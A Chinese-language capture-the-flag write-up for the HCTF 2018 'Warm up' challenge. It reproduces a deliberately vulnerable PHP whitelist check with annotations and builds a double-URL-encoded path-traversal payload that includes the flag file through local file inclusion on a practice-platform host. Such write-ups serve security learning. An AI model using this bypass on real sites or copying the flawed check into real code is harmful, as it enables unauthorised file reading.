HCTF 2018 Warm up
题目分析
1.查看题目
显示是一个php代码审计的题目
2.登入网页查看
3.既然是代码审计,就查看页面源代码
看到源代码里提示一个source.php文件,所以我们猜测,要么是加载过来一个php文件(可是F12以后,没有发现),要么就是当前目录下有个source.php
4.访问当前目录下的source.php,果然成功
5.分析php代码
直接复制到md,清除转义为html的字符,
我们在代码中首先看到,有两个白名单文件,一个是source.php(就是我们当前访问的这个)。另外一个是hint.php,我们访问下
所以,可以知道flag在ffffllllaaaagggg中,接下来,我们分析source.php文件,我们看到其设置了白名单(source.php和hint.php),如果不在白名单内,直接返回False,根本就不会执行文件查询语句,所以只有构造url,绕过source.php,才可以访问到ffffllllaaaagggg文件
代码分析如下
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
//传入了变量page,也就是我们刚刚传进来的file
{
// 这里定义了白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
/*为了返回 true 两个条件必须满足
1 page存在
2 page是字符串 ,
这里和外层的判断file 一致基本是再次判断了一遍*/
echo "you can't see it";
return false;
}
//如果在白名单里,就会返回true,可是,这样就没办法构造url了,所以当前内容不可以在白名单里
if (in_array($page, $whitelist)) {
return true;
}
//对page重新进行赋值,
$_page = mb_substr(
$page,
0,
#page新=page旧中0~第一个?之间的字符串(这里存在漏洞,我们可以构造利用),$page.?会在page后面继续新增一个?
mb_strpos($page . '?', '?')
);
//这是检测,page新 是否在白名单内,我们这里绕过,让其不在白名单内,这样就会继续执行
if (in_array($_page, $whitelist)) {
return true;
}
//这里和上面类似 查看_page 是否在白名单中
$_page = urldecode($page); // 这里发现对_page进行了一次decode解码,?url两次编码为%25%33%66
$_page = mb_substr(//获取两个??之间的内容
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 最后只要是page=source.php就可以了
if (in_array($_page, $whitelist)) {//白名单
return true;
}
echo "you can't see it";
return false;
}
}
#主函数
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
#file作为参数传入checkFile(),GET传递参数形式为?file=$page
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
补充下知识点:
如果include包含的文件中含有路径,就会包含最后一个/后面的文件
6.构造payload
?file=source.php%25%33%66/../ffffllllaaaagggg
#其经过浏览器时,自动url解码一次(?url编码一次为%3f)
?file=source.php%3f/../ffffllllaaaagggg
#page=file,是字符串,非空,所以会绕过第一个if,其不在白名单里,会绕过第二个if,
#接下来,重新设置page,在page后添加?,获取两者之间内容
$page=source.php%3f/../ffffllllaaaagggg
#接下来,url解码一次,然后,重新获取到第一个?之间内容(%3f会解码为?)
$page=source.php #最后会返回true,成功绕过
7.接下来,我们需要做的,就是调整 …/,直到访问到ffffllllaaaagggg文件就行了
最后的payload为http://e840692f-98b0-4420-b2a6-189d74765274.node4.buuoj.cn:81/?file=source.php%25%33%66/…/…/…/…/ffffllllaaaagggg